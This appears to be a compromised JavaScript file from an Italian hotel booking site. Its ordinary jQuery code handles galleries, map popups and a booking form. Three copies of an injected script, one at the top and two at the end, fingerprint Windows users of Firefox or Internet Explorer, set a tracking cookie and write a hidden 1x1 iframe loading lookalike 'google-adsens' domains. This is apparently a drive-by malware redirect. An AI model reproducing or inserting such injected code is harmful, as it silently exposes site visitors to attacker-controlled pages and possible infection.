var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
/* 
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */


    $(function() {
         var a = function(self){
          self.anchor.fancybox();
        }

        $("ul#hotelgallery").PikaChoose({autoPlay:false,
                                        showCaption:false,
                                        showTooltips:false,
                                        text:{previous:"",
                                            next:""},
                                        buildFinished:a
                                        });
        $("ul#hotelgallery").jcarousel({scroll:3,
				initCallback: function(carousel)
					{
			        $(carousel.list).find('img').click(function() {
			        	//console.log($(this).parents('.jcarousel-item').attr('jcarouselindex'));
			            carousel.scroll(parseInt($(this).parents('.jcarousel-item').attr('jcarouselindex')));
			        });
			    }
			   });
        $('#middleright select.small').styledSelect({innerClass:'combosmall'});
        $('#middleright select.large').styledSelect({innerClass:'combolarge'});
        $('select#language').styledSelect({innerClass:'combolanguage'});

        $('div#gallery a').lightBox();
        //$('div#gallerydetails a').lightBox();


        $("div#posizione").live("click",function(){
                $("div#mappa").modal({
                        containerCss:{width:600, height:400, opacity:1},
                        overlayClose:true
                });
                 $('#mappa').gMap({
                            zoom:8,
                            markers:[{
                                    latitude:$("#latitude").val(),
                                    longitude:$("#longitude").val(),
                                    html:$("input#mapbubble").val()
                            }]


                        });
        });
        
        $("div#listino").live("click",function(){
                $("div#prezzi").modal({
                        containerCss:{width:600, height:400, opacity:1},
                        overlayClose:true
                });
        });
        $("button.richiesta").live("click",function(){
                //alert($("#giornocheckin option:selected").val());
                $("div#formrichiesta").modal({
                        containerCss:{width:570, height:550, opacity:1},
                        onShow: function(){
                                //alert($("select").val());
                                $("input#booking_checkin").val($("select#giornocheckin").val()+" "+$("select#mesecheckin").val());
                                $("input#booking_checkout").val($("select#giornocheckout").val()+" "+$("select#mesecheckout").val());
                                $("input#booking_roomtype").val($("select#tipologiacamera").val());
                                $("input#booking_adulti").val($("select#adulti").val());
                                $("input#booking_kids").val($("select#bambini").val());
                                $("input#booking_accomodations").val($("select#tipologiasoggiorno").val());
                        },
                        overlayClose:true
                });
        });
        $("div.service_image").tooltip({
                track: true,
                delay: 0,
                fixPNG: true,
                top: 15,
                showURL: false,
                left: 5,
                bodyHandler: function() {

                return $("<p></p>").html($(this).attr('description'));
                }
                });

        /*$("div#simplemodal-overlay").live('click',function(){
                        //per chiudere la finestra modale, soprattutto su IE
                        $.modal.close();
                });
        */
       $('body').pngFix( );
       $('#gallery').cycle({
		    fx:    'fade',
		    speed:  3500 ,
                    width: '680px',
                    height: '321px'
         });
          $('span#credits').click( function() {
					//alert("qui");
					$('div#credits').fadeIn();
				});
          //$("div.marquee").marquee({speed:1});
          $("div.marquee").vTicker({height:170, width:248});
});
        
        function sendRequest(){
            $("div#formrichiesta button").live("click",function(){
                            if ($("input#nome_richiedente").val()=="" || $("input#cognome_richiedente").val()=="" || $("input#telefono_richiedente").val()==""||$("input#email_richiedente").val()==""){
                                alert($("input#msgcampiobbligatori").val());
                                return;
                            }
                            $.ajax({
				url:$("#sendRequestUrl").val(),
				type:'POST',
				data:{
					idstruttura:$("input#idstruttura").val(),
					nome_richiedente:$("input#nome_richiedente").val(),
                                        cognome_richiedente:$("input#cognome_richiedente").val(),
                                        telefono_richiedente:$("input#telefono_richiedente").val(),
                                        email_richiedente:$("input#email_richiedente").val(),
                                        checkin:$("input#booking_checkin").val(),
                                        checkout:$("input#booking_checkout").val(),
                                        tipologiacamera:$("input#booking_roomtype").val(),
                                        adulti:$("input#booking_adulti").val(),
                                        bambini:$("input#booking_kids").val(),
                                        tipologiasoggiorno:$("input#booking_accomodations").val()

				},
				success:function(response){
					$("div#formrichiesta").fadeOut();
					$("div#loading").addClass("hidden");
                                        $("div.simplemodal-wrap").html($("div#msgokcontainer").html());
                                        $("div#formrichiesta button").removeAttr('disabled');
				},
				beforeSend:function(){
                                    $("div#loading").removeClass("hidden");
                                    $("div#formrichiesta button").attr('disabled', 'disabled');
                                },
				error: function(xhr, ajaxOptions, thrownError){
                                        $("div#formrichiesta").fadeOut();
                                        $("div#loading").addClass("hidden");
                                        $("div.simplemodal-wrap").html($("div#msgerrcontainer").html());
                                        $("div#formrichiesta button").removeAttr('disabled');
                                    }
				});
                            
                            //$.modal.close();
                            
                            //$("div#msgok").modal();
                            //alert("dopo");
            });
        }
        
        function showHotelInMap(){
            $("div#mappa").modal({
                        containerCss:{width:600, height:400, opacity:1},
                        overlayClose:true
                });
                markers=new Array();
                var latitudes=new Array();
                $.each($("input.latitude"),function(index,value){latitudes[index]=$(value).val();});
                longitudes=new Array();

                $.each($("input.longitude"),function(index,value){longitudes[index]=$(value).val();});
                
                bubbles=new Array();
                $.each($("input.mapbubble"),function(index,value){bubbles[index]=$(value).val();});

                
                for (i=0; i<latitudes.length; i++){
                    //alert(latitudes[i]+" "+longitudes[i]);
                    markers.push({latitude:latitudes[i],longitude:longitudes[i], html: bubbles[i]})
                }
                //alert(markers);
                 $('#mappa').gMap({
                            zoom:8,
                            markers:markers


                        });
                 //alert(latitudes);
        }

 var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
